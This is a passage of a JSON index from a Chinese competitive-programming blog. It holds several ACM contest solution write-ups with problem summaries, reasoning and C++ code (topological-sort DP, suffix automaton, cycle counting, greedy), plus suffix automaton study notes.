cout\u003c\u003c\"cur:\"\u003c\u003ccur\u003c\u003cendl; 51 Q.pop(); 52 int siz = edge[cur].size(); 53 for ( int i = 0 ; i \u003c siz ; i++) 54 { 55 int v = edge[cur][i]; 56 dp[v] = max(dp[v],dp[cur]+val[v]); 57 in[v]--; 58 if (in[v]==0) Q.push(v); 59 } 60 } 61} 62int main() 63{ 64 #ifndef ONLINE_JUDGE 65 freopen(\"./in.txt\",\"r\",stdin); 66 #endif 67 while (~scanf(\"%d %d\",\u0026n,\u0026m)) 68 { 69 init(); 70 for ( int i = 1 ; i \u003c= n ; i++) scanf(\"%d\",\u0026val[i]); 71 while (m--) 72 { 73 int x,y; 74 scanf(\"%d %d\",\u0026","date":"2017-11-07","externalUrl":null,"permalink":"/2017/11/poj-3249/","section":"Posts","summary":"http://poj.org/problem?id=3249 题意： # 给一个DAG,现要从一条入度为0的点到一个出度为0的点，问最大点权和。","tags":["dp","拓扑排序"],"title":"poj 3249 Test for Job (拓扑排序+dp)","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=6048 题意： # 有 n * m - 1 个数，每次选择第 1,p + 1,p * 2 + 1….. 的顺序选择数，先按左到右，再按从上到下的顺序填入n * m 的格子，空格子可以和相邻的数字交换位置，问最后能否在格子中形成 1~ n * m - 1的数按从左到右，从上到下的顺序。 思路： # 傻逼结论题。 根据九宫格问题的结论：将矩阵中的数按先从左到下右再从上到下排成一列，其逆序对如果为偶数则一定有解，否则一定无解 根据九宫格问题的结论：将矩阵中的数按先从左到下右再从上到下排成一列，其逆序对如果为偶数则一定有解，否则一定无解 根据九宫格问题的结论：将矩阵中的数按先从左到下右再从上到下排成一列，其逆序对如果为偶数则一定有解，否则一定无解 然后我们可以观察发现，按照题目中填数的策略 按照填入的顺序，每个数对逆序对的贡献分别是0,p-1,2_(p-1)… 0,p-1,2_(p-1)… 注意到当总数小于等于p时，所有数对逆序对就没有贡献了。 然后直接算等差数列就好了。 $$ sum = n_a_{1} + \\frac{n_(n-1)}{2}*d $$由于首项一直为0，所以只要算后面那部分就好了。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年11月06日 星期一 18时45分04秒 4File Name :6048.cpp 5************************************************ */ 6 7#include \u003cbits/stdc++.h\u003e 8#define PB push_back 9#define fst first 10#define sec second 11#define lson l,m,rt\u003c\u003c1 12#define rson m+1,r,rt\u003c\u003c1|1 13#define ms(a,x) memset(a,x,sizeof(a)) 14typedef long long LL; 15#define pi pair \u003c int ,int \u003e 16#define MP make_pair 17 18using namespace std; 19const double eps = 1E-8; 20const int dx4[4]={1,0,0,-1}; 21const int dy4[4]={0,-1,1,0}; 22const int inf = 0x3f3f3f3f; 23int n,m,p; 24int tot; 25LL ans; 26int main() 27{ 28 #ifndef ONLINE_JUDGE 29 freopen(\"./in.txt\",\"r\",stdin); 30 #endif 31 int T; 32 cin\u003e\u003eT; 33 while (T--) 34 { 35 scanf(\"%d %d %d\",\u0026n,\u0026m,\u0026p); 36 int tot = n*m-1; 37 ans = 0; 38 while (tot\u003ep) //when tot\u003cp,the ans is 1 39 { 40 int num = (tot-1)/p+1; // 项数 41 LL tmp = num*(num-1)/2*(p-1); 42 ans = ans + tmp; 43 tot-=num; 44 } 45 printf(\"%s\\n\",ans%2LL?\"NO\":\"YES\"); 46 } 47 #ifndef ONLINE_JUDGE 48 fclose(stdin); 49 #endif 50 return 0; 51}","date":"2017-11-06","externalUrl":null,"permalink":"/2017/11/hdu-6048/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=6048 题意： # 有 n * m - 1 个数，每次选择第 1,p + 1,p * 2 + 1….. 的顺序选择数，先按左到右，再按从上到下的顺序填入n * m 的格子，空格子可以和相邻的数字交换位置，问最后能否在格子中形成 1~ n * m - 1的数按从左到右，从上到下的顺序。","tags":["结论题"],"title":"hdu 6048  | 2017 Multi-University Training Contest - Team 2  D Puzzle (结论题)","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=4782 题意： # 将格式混乱的html代码输出成标准格式。 思路： # 模拟。 说下细节： * 遇到open tag,先打印，后dep++ * 遇到close tag,先dep--,再打印 * 遇到空标签，直接在当前深度打印 * 遇到空白字符时，只有当前面出现了text以及后面也出现了text的时候才打印。**也就是说第一个string和最后一个string都是紧邻标签的。** 最坑的一点是…虽然题目给了数据组数，但是在所在行的同一行，可能出现下一组的开始 最坑的一点是…虽然题目给了数据组数，但是在所在行的同一行，可能出现下一组的开始 最坑的一点是…虽然题目给了数据组数，但是在所在行的同一行，可能出现下一组的开始 说好的多组数据呢… 1#include \u003cbits/stdc++.h\u003e 2using namespace std; 3typedef long long LL; 4const int N = 1E5+10; 5const double eps = 1e-8; 6#define ms(a,x) memset(a,x,sizeof(a)) 7#define lowbit(x) (x\u0026(-x)) 8char buff[N]; 9int len = 0; 10char ch; 11void skip() 12{ 13 while (ch=='\\n'||ch==' '||ch=='\\t') ch =getchar(); 14} 15void TAG() 16{ 17 len = 0; 18 ch =getchar(); 19 while (ch!='\u003e') 20 { 21 buff[len++] = ch; 22 ch = getchar(); 23 } 24 buff[len] = 0; 25} 26void STR() 27{ 28 len = 0 ; 29 while (ch!=' '\u0026\u0026ch!='\\t'\u0026\u0026ch!='\\n'\u0026\u0026ch!='\u003c') 30 { 31 buff[len++] = ch; 32 ch = getchar(); 33 } 34 buff[len] = 0; 35} 36 37void pr( int len) 38{ 39 for ( int i = 0 ; i \u003c len ; i++) putchar(' '); 40} 41void solve() 42{ 43 ch = ' '; 44 int dep = 0; 45 for ( ; ;) 46 { 47 skip(); 48 if (ch=='\u003c') 49 { 50 TAG(); 51 if (buff[0]=='/') 52 { 53 dep--; 54 pr(dep); 55 } 56 else if (buff[len-1]=='/') 57 { 58 pr(dep); 59 } 60 else 61 { 62 pr(dep); 63 dep++; 64 } 65 printf(\"\u003c%s\u003e\\n\",buff); 66 if (strcmp(buff,\"/html\")==0) break; 67 ch = getchar(); 68 } 69 else 70 { 71 STR(); 72 pr(dep); 73 printf(\"%s\",buff); 74 //可能有多个字符串 75 skip(); 76 // cout\u003c\u003c\"buff:\"\u003c\u003cbuff\u003c\u003cendl; 77 while (ch!='\u003c') 78 { 79 // cout\u003c\u003c\"ch:\"\u003c\u003cch\u003c\u003cendl; 80 STR(); 81 printf(\" %s\",buff); 82 skip(); 83 } 84 puts(\"\"); 85 //printf(\"\\n\"); 86 } 87 88 } 89} 90int main(){ 91 freopen(\"./in.txt\",\"r\",stdin); 92// freopen(\"output\",\"w\",stdout); 93 int cas = 0 ; 94 int T; 95 cin\u003e\u003eT; 96 97 // cout\u003c\u003c\"T:\"\u003c\u003cT\u003c\u003cendl; 98 ","date":"2017-11-06","externalUrl":null,"permalink":"/2017/11/hdu-4782/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=4782 题意： # 将格式混乱的html代码输出成标准格式。","tags":["模拟"],"title":"hdu 4782 | 2013 Asia Chengdu Regional Contest  B (模拟)","type":"post"},{"categories":["ACM"],"content":"在学习后缀自动机之前需要熟练掌握WA自动机、RE自动机与TLE自动机 怕是老年人的最后一篇算法学习笔记了 心情不好，此文无限期tj 概述 # 主要讲解在我学习的过程中比较难理解的地方..并不保证全面 首先，后缀自动机是一个能且只能接受一个字符串的所有后缀的确定性有限状态自动机，也就是DFA SAM同时具有自动机和树的性质。 节点（状态） # SAM中的节点，也叫状态。 明确一个说法：“一个节点所表示的字符串”。 由于一个字符串的子串一定是某个后缀的前缀。 因此一个字符串的子串一定可以在SAM上运行。 因此“一个节点Q所表示的字符串”的含义是说，从初始状态开始，运行该字符串后，到达的状态是Q. 一个节点所表示的字符串长度属于范围[MIN,MAX]，并且区间中每个长度的字符串都出现一次 能表示的字符串长度范围有最大值很好理解，有最小值是因为：长度越小的字符串出现的位置越多，因此当长度小于MIN之后，其出现的位置增加。 由于后文见到，SAM中状态是终点位置集合的等价类，因此一个节点所表示的字符串长度存在一个最小值。 后文还问见到，一个节点的MIN恰好是其父亲节点的MAX+1 终点集合 (endpos / Right) # 终点集合一般国内的资料叫right集合，国外好像更常见的叫法是endpos集合。 其实就是对于一个子串a,其在母串S中出现的位置的右端点的集合。 那么这个right集合有什么作用呢？ 考虑naive的做法，一个串S有O(n^2)的后缀，凉凉 那么我们发现，对于right集合相同的两个子串，代表其子串的状态（意思是说，从初始状态到该状态所表示的字符串）是可以合并的。 为什么？因为这两个子串的所有出现位置的右端点相同，那么在其后面添加若干字符得到的后缀也一定完全相同。 那么我们可以根据right集合，将字符串的子串分成若干个等价类 对于一个等价类，我们在SAM中用一个状态表示就行了。 接下来考虑right集合的性质。 right[v]表示状态v所表示的子串出现的次数。 后缀链/parent树 # 对于不为初始状态的所有状态，一个状态对应着一个等价类，令w作为其中最长的子串，其余的子串都是w的后缀。 w的所有后缀中，一部分在w所在的等价类中，另外一部分位于其他的等价类中。于是定义后缀链link(v)连接w所有后缀中位于其他等价类并且长度最长的那个后缀所在的等价类。 那么根据后缀链的定义，以及后缀的长度是连续的(“后缀的长度是连续的”的含义是说，一个长度为k的字符串，一定有长度为k，为k-1，一直到长度为１的后缀） 因此一个节点的MIN恰好是其父亲节点的MAX+1　（MIN,MAX分别表示一个节点所能表示的字符串的最小值和最大值） 复杂度 # 后缀自动机·张的知乎专栏_震惊！SAM复杂度竟如此显然！ %%%qc大爷 构造方法 # 这个算法是在线的，每次在构造好的自动机的基础上增加一个字符。 对于每个状态，需要保存lenlen、linklink以及转移状态信息。 初始条件下，自动机只包含一个起始状态t0t0，len=0len=0并且linklink指向-1。所有算法要做的就是给后缀自动机增加一个新的字符c。 我们用lastlast来表示当前需要增加一个字符的状态，初始情况下last=0last=0，之后每次增加字符后都会修改。 创建一个新的状态curcur，要求len(cur)=len(last)+1len(cur)=len(last)+1，linklink先留着。 接下来进行这样的循环：从lastlast状态开始，如果不存在字符c的转移，那么增加一个到达curcur的字符c的转移，然后沿着后缀链继续检查——如果不存在字符串c的转移，那么增加一个转移；如果字符串c的转移已经存在，那么停止循环，将停止时检查的状态记为p。这个时候，会出现两种情况： 如果一直没有遇到存在转移的状态，那么最终我们会到达伪状态-1，只需要让link(cur)=0link(cur)=0后退出。 如果遇到存在字符c转移的状态，另q为转移到的状态，那么又有了两种情况： 如果len(p)+1=len(q)len(p)+1=len(q)，只需要令link(cur)=qlink(cur)=q后退出。 否则，创建一个新的状态cloneclone，将q的转移也拷贝给clon","date":"2017-11-04","externalUrl":null,"permalink":"/2017/11/suffix-automaton-notes/","section":"Posts","summary":"在学习后缀自动机之前需要熟练掌握WA自动机、RE自动机与TLE自动机","tags":["后缀自动机"],"title":"【施工中】SAM学习笔记","type":"post"},{"categories":["ACM"],"content":"题意： # 给定一个循环字符串，问字典序最小的串的开始位置。 思路： # 之前用poj 1509 解题报告-字符串的最小表示法 A过 字符串的最小表示法的复杂度是O(n)，代码也不是很难写，不过由于最近在学SAM,所以用SAM写了一下。 参照张天扬的论文： 把原串复制一遍到后面，然后构建后缀自动机。 从初始状态开始，每次走字典序最小的转移，走|S|之后得到的就是最小循环表示。 如果求的是最小后缀，就在原串后加入一个比字符集中所有字符的字典序都小的字符作为终止后，再添加一遍原串。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年11月03日 星期五 18时20分42秒 4File Name :2774_SAM.cpp 5************************************************ */ 6 7//#include \u003cbits/stdc++.h\u003e 8#include \u003ciostream\u003e 9#include \u003ccstdio\u003e 10#include \u003calgorithm\u003e 11#include \u003ccmath\u003e 12#include \u003cstring\u003e 13#include \u003ccstring\u003e 14#define PB push_back 15#define fst first 16#define sec second 17#define lnxt l,m,rt\u003c\u003c1 18#define rnxt m+1,r,rt\u003c\u003c1|1 19#define ms(a,x) memset(a,x,sizeof(a)) 20typedef long long LL; 21#define pi pair \u003c int ,int \u003e 22#define MP make_pair 23 24using namespace std; 25const double eps = 1E-8; 26const int dx4[4]={1,0,0,-1}; 27const int dy4[4]={0,-1,1,0}; 28const int inf = 0x3f3f3f3f; 29 30const int maxn = 5E5; 31 32struct node{ 33 node*nxt[26],*fail; 34 LL len,cnt; 35}; 36struct SAM{ 37 node no[maxn]; 38 node*root; 39 int cnt; 40 node*newnode(){ 41 ms(no[cnt].nxt,0); 42 no[cnt].fail=NULL; 43 no[cnt].len = no[cnt].cnt = 0; 44 return \u0026no[cnt++]; 45 } 46 void init() 47 { 48 cnt = 0; 49 root = newnode(); 50 } 51 SAM(){ 52 cnt = 0; 53 root = newnode(); 54 } 55 node*add(int c,node*p){ 56 node*cur = newnode(); 57 cur-\u003elen = p-\u003elen+1; 58 while(p\u0026\u0026!p-\u003enxt[c]){ 59 p-\u003enxt[c] = cur; 60 p = p-\u003efail; 61 } 62 if(!p){ 63 cur-\u003efail = root; 64 return cur; 65 } 66 node*q = p-\u003enxt[c]; 67 if(p-\u003elen+1==q-\u003elen){ 68 cur-\u003efail = q; 69 }else{ 70 node*nq = newnode(); 71 *nq = *q; 72 q-\u003efail = cur-\u003efail = nq; 73 nq-\u003elen = p-\u003elen+1; 74 while(p\u0026\u0026p-\u003enxt[c]==q){ 75 p-\u003enxt[c] = nq; 76 p = p-\u003efail; 77 } 78 } 79 return cur; 80 } 81 int cal","date":"2017-11-04","externalUrl":null,"permalink":"/2017/11/poj-1509/","section":"Posts","summary":"题意： # 给定一个循环字符串，问字典序最小的串的开始位置。","tags":["后缀自动机","最小表示法"],"title":"poj 1509 Glass Beads  (后缀自动机求最小循环表示)","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=4622 题意： # 给一个字符串，给出若干询问，每组询问给一个区间[l,r]，问区间中本质不同的字符串的个数。 思路： # 观察发现，有10000组查询，字符串的长度最多才2000，所以可以预处理一波。 我们先考虑如何处理整个区间中，本质不同的子串数量。 考虑SAM，由于后缀自动机中每一条从初始状态出发的路径都对应的一个子串，同时后缀自动机是最简的，所以问题也就变成了从初始状态开始不同路径的数量。 每个节点 u 表示的子串长度在 [min[u],max[u]]范围内. 又由于max(u.fail) = min(u)-1 因此u表示的子串的长度就是变成了**(max[u.fail],max[u] ] (注意区间，是左闭右开)** 由于每个长度的串都出现了一次，因此这个状态子串的个数就是max[u] - max[u.fail] 如果是统计整个串的本质不同的串的个数，那么buildSAM之后统计一下就行了。 现在是询问区间。 问题变成了，从[l,r]到[l,r+1]，答案的改变是什么。 在SAM上添加一个字符之后，SAM当前的状态变成了cur,那么实际上，对答案的贡献，就是初始状态到新的状态cur的不同路径数目。 也就是max[cur]-max[cur.fail] 1#include \u003cbits/stdc++.h\u003e 2#define PB push_back 3#define fst first 4#define sec second 5#define lnxt l,m,rt\u003c\u003c1 6#define rnxt m+1,r,rt\u003c\u003c1|1 7#define ms(a,x) memset(a,x,sizeof(a)) 8typedef long long LL; 9#define pi pair \u003c int ,int \u003e 10#define MP make_pair 11 12using namespace std; 13const double eps = 1E-8; 14const int dx4[4]={1,0,0,-1}; 15const int dy4[4]={0,-1,1,0}; 16const int inf = 0x3f3f3f3f; 17const int N=2017; 18const int maxn = 4017; 19LL ret; 20struct node{ 21 node*nxt[26],*fail; 22 LL len,cnt; 23 void init() 24 { 25 for ( int i = 0 ; i \u003c 26 ; i++) nxt[i]=NULL; 26 fail=NULL; 27 len=cnt=0; 28 } 29}; 30struct SAM{ 31 node no[maxn]; 32 node*root; 33 int cnt; 34 node* newnode(){ 35 ms(no[cnt].nxt,0); 36 no[cnt].fail=NULL; 37 no[cnt].len=no[cnt].cnt=0; 38 return \u0026no[cnt++]; 39 } 40 SAM(){ 41 cnt = 0; 42 root = newnode(); 43 } 44 void init() 45 { 46 cnt = 0; 47 root =newnode(); 48 no[0].init(); 49 } 50 node*add(int c,node*p){ 51 node*cur = newnode(); 52 cur-\u003elen = p-\u003elen+1; 53 node *lst = cur; 54 while(p\u0026\u0026!p-\u003enxt[c]){ 55 p-\u003enxt[c] = cur; 56 p = p-\u003efail; 57 } 58 if(!p){ 59 cur-\u003efail = root; 60 return cur; 61 } 62 node *q = p-\u003enxt[c]; 63 if(p-\u003elen+1==q-\u003elen){ 64 cur-\u003efail = q; 65 }else{ 66 node*nq = n","date":"2017-11-04","externalUrl":null,"permalink":"/2017/11/hdu-4622/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=4622 题意： # 给一个字符串，给出若干询问，每组询问给一个区间[l,r]，问区间中本质不同的字符串的个数。","tags":["后缀自动机"],"title":"hdu 4622 | 2013 Multi-University Training Contest 3 Reincarnation (后缀自动机)","type":"post"},{"categories":["ACM"],"content":"题意： # 给出2个字符串(2.5E5)，问最长公共子串的长度。 思路： # 拿一个串建SAM 由于SAM上的任何一个状态，都对应一个或者若干个子串，然后拿另一个串在SAM上面跑就行了 20171110UPdate:我好像说得太简略了。。 参考clj的冬令营讲稿： 给两个长度小于100000的字符串A和B，求出他们的最长公共连续子串。 Ê我们构造出A的后缀自动机SAM 对于SAM的每个状态s，令r为Right(s)中任意的一个元素，它代表的是结束位置在r的，长度在[Min(s),Max(s)]之间的所有子串。 我们不妨对状态s，求出所有B的子串中，从任意r开始往前能匹配的最大长度L，那么min(L,Max(s))就可以更新答案了。 我们考虑用_SAM_读入字符串_B_。 令当前状态为_s_，同时最大匹配长度为_len Ê我们读入字符_x。如果_s_有标号为_x_的边， 那么_s=trans(s,x),len = len+1 Ê否则我们找到_s_的第一个祖先_a，它有标号为_x_的边，令 s=trans(a,x),len=Max(a)+1_。 Ê如果没有这样的祖先，那么令_s=root,len=0。 在过程中更新状态的最大匹配长度 唯一不显然的地方在于，为什么当失配时，我们是沿着parent树向上找。 考虑如下例子： 我们知道，parent树，或者叫后缀链树，一个状态S指向的是，总起点开始到S的子串的后缀中，长度最长的后缀，满足该后缀所对应的某个状态Q(对应的意思是说，从初始状态到状态Q表示的子串恰好是该后缀)的right集合和状态S的集合不相等。 假设我们目前匹配到的状态表示的子串是abcbc,然后下一位要匹配的字母是b，而状态abcbc没有通过b转移的边（这些图上没有,我懒得画了orz) 这个时候考虑回退…对于abcbc的后缀，bcbc,cbc和abcbc面临的情况是一样的，因为bcbc,cbc,abcbc三个字符串的right集合相同，也就是出现的位置完全相同，那么既然abcbc没有通过b转移的边，bcbc,cbc也一定没有通过b转移的边。 这时候考虑转移到abcbc的par状态，也就是表示子串bc的状态，原因是bc的right集合和abcbc的right集合不同，更准确得说，bc的right集合是包含abcbc的right集合的。 而bc在之前匹配abcbc的时候，已经匹配过了，也就是说bc一定是可以匹配的， 如果此时bc有一条通过b转移的边，此时匹配的长度就变成了bc对应的状态所对应的max再+1 老年人的第一个SAM 关于SAM的笔记之后补。 用了动态的写法. 1/* *********************************************** 2Author :111qqz 3Created Time :2017年11月03日 星期五 18时20分42秒hongchenzuoban 4File Name :2774_SAM.cpp 5************************************************ */ 6 7#include \u003cbits/stdc++.h\u003e 8#define PB push_back 9#define fst first 10#define sec second 11#define lnxt l,m,rt\u003c\u003c1 12#define rnxt m+1,r,rt\u003c\u003c1|1 13#define ms(a,x) memset(a,x,sizeof(a)) 14typedef long long LL; 15#define pi pair \u003c int ,int \u003e 16#define MP make_pair 17 18using namespace std; 19const double eps = 1E-8; 20const int dx4[4]={1,0,0,-1}; 21const int dy4[4]={0,-1,1,0}; 22const int inf = 0x3f3f3f3f; 23const int N=3E5; 24struct SAM 25{ 26 struct node 27 { 28 node *nxt[26],*fa;int len; 2","date":"2017-11-03","externalUrl":null,"permalink":"/2017/11/spoj-lcs/","section":"Posts","summary":"题意： # 给出2个字符串(2.5E5)，问最长公共子串的长度。","tags":["后缀自动机"],"title":"SPOJ LCS Longest Common Substring  （后缀自动机模板题）","type":"post"},{"categories":["ACM"],"content":"题意： # 有这样一个有关最大公约数的函数: 函数 f(x, y): 1{ 2 c=0 3 当 y\u003e0: 4 { 5 c +=1 6 t = x % y 7 x = y 8 y = t 9 } 10 返回 c * x * x 11} 给出三个正整数n,m,p，你需要计算: $$ \\sum_{i=1}^{n} \\sum_{j=1}^{m} \\left \\lfloor \\frac{i*j}{f(i,j))} \\right \\rfloor $$n \u003c= 666,666,666, m \u003c= 666, p \u003c= 666,666,666。 思路： # 打表找规律。 但是找规律也要按照基本法 观察到m比较小，对于固定的j,容易看出f(i,j)和f(i+j*k,k)是等价的。 比赛的时候没做出来，因为纠结取整的问题… 解决办法竟然是….通过循环节观察orz 转载一篇靠谱的题解： 一开始，我自己假设先不考虑c。那么就变成了ΣΣi/gcdj/gcd=Σj/gcdΣi/gcd，如此一来，由于m比较小，我就可以枚举j，然后对应求出j所有的因子作为gcd，gcd确定之后再根据容斥来统计i/gcd的和。具体统计方法和15年沈阳regional的frog那题类似，用n的因子来进行暴力的容斥。但是很显然这样子很难把c的影响带进来，而且这里的c还要向下取整，更加的麻烦。 于是打表找规律，首先很容易知道f(i,j)=f(i+kj,j)。根据这个，在不考虑向下取整的情况下，对于同一个j，我们就可以列出一个等差数列，其中首项是ij/f(i,j)，公差为jj/f(i,j)。但是这里要考虑这个向下取整。我们设i为模9为7的数j为9，可以打出如下i*j/f(i,j)的表，括号内为相邻值的差： 可以发现，每c组i*j/f(i,j)是一个循环节，也就是说可以看作c个等差数列，然后对于每一个等差数列，它的首项我们可以暴力算出，而公差也很容易求出。利用等差数列求和公式可以很快速的计算出结果。复杂度的话，我们需要枚举j和在j剩余系下的i，然后还有c个等差数列，复杂度为O(m^2logN)在接受范围之内。具体见代码： 以及。。膜真的很浪费生命啊？ 一开始取了5个%，TLE,4个%,50%概率AC,3个%就比较稳得过了… 一个%大概300ms orz 1/* *********************************************** 2Author :111qqz 3Created Time :2017年11月02日 星期四 09时38分56秒 4File Name :5970.cpp 5************************************************ */ 6 7#include \u003cbits/stdc++.h\u003e 8#define PB push_back 9#define fst first 10#define sec second 11#define lson l,m,rt\u003c\u003c1 12#define rson m+1,r,rt\u003c\u003c1|1 13#define ms(a,x) memset(a,x,sizeof(a)) 14typedef long long LL; 15#define pi pair \u003c int ,int \u003e 16#define MP make_pair 17 18using namespace std; 19const double eps = 1E-8; 20const int dx4[4]={1,0,0,-1}; 21const int dy4[4]={0,-1,1,0}; 22const int inf = 0x3f3f3f3f; 23LL n,m,p; 24LL f(LL x,LL y,LL \u0026c) 25{ 26 LL t; 27 while (y\u003e0) 28 { 29 c++; 30 t = x % y; 31 x = y; 32 y = t; 33 } 34 return c * x * x; 35} 36int main() 37{ 38 #ifndef ONLINE_JUDGE 39 freopen(\"./in.txt\",\"r\",stdin); 40 #endif 41 int T; 42 cin\u003e\u003eT; ","date":"2017-11-02","externalUrl":null,"permalink":"/2017/11/hdu5970/","section":"Posts","summary":"题意： # 有这样一个有关最大公约数的函数: 函数 f(x, y):","tags":["打表"],"title":"HDU 5970 | 2016 CCPC HeFei onsite  J   最大公约数  (打表找规律)","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=6038 题意： # 给出两个序列 a 和 b ，求满足 f[i]= b_{f[a[i]]} 的函数个数。 思路： # 分别找两个序列的循环节，这一点是比较容易想到的。 由于点都在0..n-1 或者0..m-1，因此没必要建图跑dfs找循环节，直接while就可以了。 然后发现一个循环节如果符合条件，那么对答案的贡献是循环节长度。 但是没有想清楚，什么才是符合条件的循环节。 结论是，b的循环节长度当且近当是A的循环节的长度的因子时，b的这个循环节会对答案贡献其长度的大小。 对于A的每个循环节，都是互不影响的。 而且我们只关心循环节的长度。 因此O（n）和O(m)的时间，处理出所有循环节的长度。 然后分别枚举累计答案即可。 但是我怎么感觉。。。这复杂度不太对啊。。。。 对于O(1E5)的序列。。我好像可以构造出1E5个长度为1的循环节？ 那么1E5 * 1E5,1E10的复杂度了。。。 然而看了下官方题解。。。发现给出的复杂度分析是O(n+m) ？？？？？？？？？？？？？？？？？？？？？ 所以这是说。。。数据保证O(n*m) \u003c O (n+m)了么。。。 这是面向数据解题。。还是说我哪里想错了啊。。。orz 1/* *********************************************** 2Author :111qqz 3Created Time :2017年11月01日 星期三 14时17分58秒 4File Name :6038.cpp 5************************************************ */ 6 7#include \u003cbits/stdc++.h\u003e 8#define PB push_back 9#define fst first 10#define sec second 11#define lson l,m,rt\u003c\u003c1 12#define rson m+1,r,rt\u003c\u003c1|1 13#define ms(a,x) memset(a,x,sizeof(a)) 14typedef long long LL; 15#define pi pair \u003c int ,int \u003e 16#define MP make_pair 17 18using namespace std; 19const double eps = 1E-8; 20const int dx4[4]={1,0,0,-1}; 21const int dy4[4]={0,-1,1,0}; 22const int inf = 0x3f3f3f3f; 23const int N=1E5+7; 24const LL mod = 1E9+7; 25int a[N],b[N]; 26bool vis[N]; 27int n,m; 28vector \u003cint\u003eloopa,loopb; 29vector \u003cint\u003e findloop( int *a,int n) 30{ 31 vector\u003cint\u003eres; 32 ms(vis,false); 33 for ( int i = 0 ; i \u003c n ; i++) 34 { 35 int cur = i ; 36 if (vis[cur]) continue; 37 int len = 0; 38 while (!vis[cur]) 39 { 40 // cout\u003c\u003c\"cur:\"\u003c\u003ccur\u003c\u003cendl; 41 vis[cur] = true; 42 cur = a[cur]; 43 len++; 44 } 45 res.PB(len); //只关心循环节的长度 46 } 47 return res; 48} 49int main() 50{ 51 #ifndef ONLINE_JUDGE 52 freopen(\"./in.txt\",\"r\",stdin); 53 #endif 54 int cas = 0 ; 55 while (~scanf(\"%d %d\",\u0026n,\u0026m)) 56 { 57 for ( int i = 0 ; i \u003c n ; i++) scanf(\"%d\",a+i); 58 for ( in","date":"2017-11-01","externalUrl":null,"permalink":"/2017/11/hdu-6038/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=6038 题意： # 给出两个序列 a 和 b ，求满足 f[i]= b_{f[a[i]]} 的函数个数。","tags":["循环节","置换群"],"title":"hdu 6038 | 2017 Multi-University Training Contest - Team 1 E Function  (置换群找循环节)","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=6034 题意： # 有一个仅由小写字母组成的字符串，要求将a..z的字母，对应到0..25，每个数字只能被一个字母对应，得到一个26进制的数，现在问这个数最大是多少。注意不允许有前导0，除非这个数本身就是0. 思路： # 贪心。看哪个字母的权值最大。 可以用类似高精度加法的方式处理。 对于前导0的部分，用一个bool标记首位（如果字符串长度为1就不标记） 对于26个高精度数的排序，可以用交换id的技巧。 以及，如果排序之后，发现权值最小的数被对应到数字0，但是又在某个长度大于1的字符串的首字母位置出现过。 我初始想当然得，把该字母和最小的可以出现在首位的字母交换…. 然而这很错啊？ 实际上，更优秀做法是，找到第一个可以出现在首位的字母，然后从该字母后面到结尾，依次前移一位，最后把这个可以出现在首位的字母放在最后。 比如这组数据： 7 abcdefghijklmnopqrstuvwxyz zz yy xx ww uu vv 权值按照从大到小排列 z u v w x y t 显然不如 u v w x y z t 优 1/* *********************************************** 2Author :111qqz 3Created Time :2017年11月01日 星期三 00时56分26秒 4File Name :6034.cpp 5************************************************ */ 6 7#include \u003cbits/stdc++.h\u003e 8#define PB push_back 9#define fst first 10#define sec second 11#define lson l,m,rt\u003c\u003c1 12#define rson m+1,r,rt\u003c\u003c1|1 13#define ms(a,x) memset(a,x,sizeof(a)) 14typedef long long LL; 15#define pi pair \u003c int ,int \u003e 16#define MP make_pair 17 18using namespace std; 19const double eps = 1E-8; 20const int dx4[4]={1,0,0,-1}; 21const int dy4[4]={0,-1,1,0}; 22const int inf = 0x3f3f3f3f; 23const int N=1E5+7; 24const LL mod =1E9+7; 25int n; 26string st[N]; 27int cnt[26][N]; 28int maxlen; 29int id[26]; 30int power[26]; 31LL base26[N]; 32bool Beg[26]; 33void init() 34{ 35 ms(Beg,false); 36 ms(cnt,0); 37 maxlen = 0 ; 38 for ( int i = 0 ; i \u003c 26 ; i++) id[i] = i; 39} 40bool small(int *a,int *b) 41{ 42 for ( int i = maxlen-1 ; i \u003e= 0 ; i--) 43 { 44 if (a[i]\u003cb[i]) return true; 45 if (a[i]\u003eb[i]) return false; 46 } 47 return false; 48} 49int main() 50{ 51 #ifndef ONLINE_JUDGE 52 freopen(\"./in.txt\",\"r\",stdin); 53 #endif 54 int cas = 0 ; 55 base26[0] = 1; 56 for ( int i = 1 ; i \u003c N ; i++) base26[i] = base26[i-1] * 26 % mod; 57 while (~scanf(\"%d\",\u0026n)) 58 { 59 init(); 60 for ( int i = 1 ; i ","date":"2017-11-01","externalUrl":null,"permalink":"/2017/11/hdu-6034/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=6034 题意： # 有一个仅由小写字母组成的字符串，要求将a..z的字母，对应到0..25，每个数字只能被一个字母对应，得到一个26进制的数，现在问这个数最大是多少。注意不允许有前导0，除非这个数本身就是0.","tags":["贪心"],"title":"hdu 6034 2017 Multi-University Training Contest - Team 1 B Balala Power! (贪心)","type":"post"},{"categories":["ACM"],"content":"1230: [Usaco2008 Nov]lites 开关灯 # Time Limit: 10 Sec Memory Limit: 162 MB Submit: 1676 Solved: 874 [Submit][Status][Discuss] Description # Farmer John尝试通过和奶牛们玩益智玩具来保持他的奶牛们思维敏捷. 其中一个大型玩具是牛栏中的灯. N (2 \u003c= N \u003c= 100,000) 头奶牛中的每一头被连续的编号为1..N, 站在一个彩色的灯下面.刚到傍晚的时候, 所有的灯都是关闭的. 奶牛们通过N个按钮来控制灯的开关; 按第i个按钮可以改变第i个灯的状态.奶牛们执行M (1 \u003c= M \u003c= 100,000)条指令, 每个指令都是两个整数中的一个(0 \u003c= 指令号 \u003c= 1). 第1种指令(用0表示)包含两个数字S_i和E_i (1 \u003c= S_i \u003c= E_i \u003c= N), 它们表示起始开关和终止开关. 奶牛们只需要把从S_i到E_i之间的按钮都按一次, 就可以完成这个指令. 第2种指令(用1表示)同样包含两个数字S_i和E_i (1 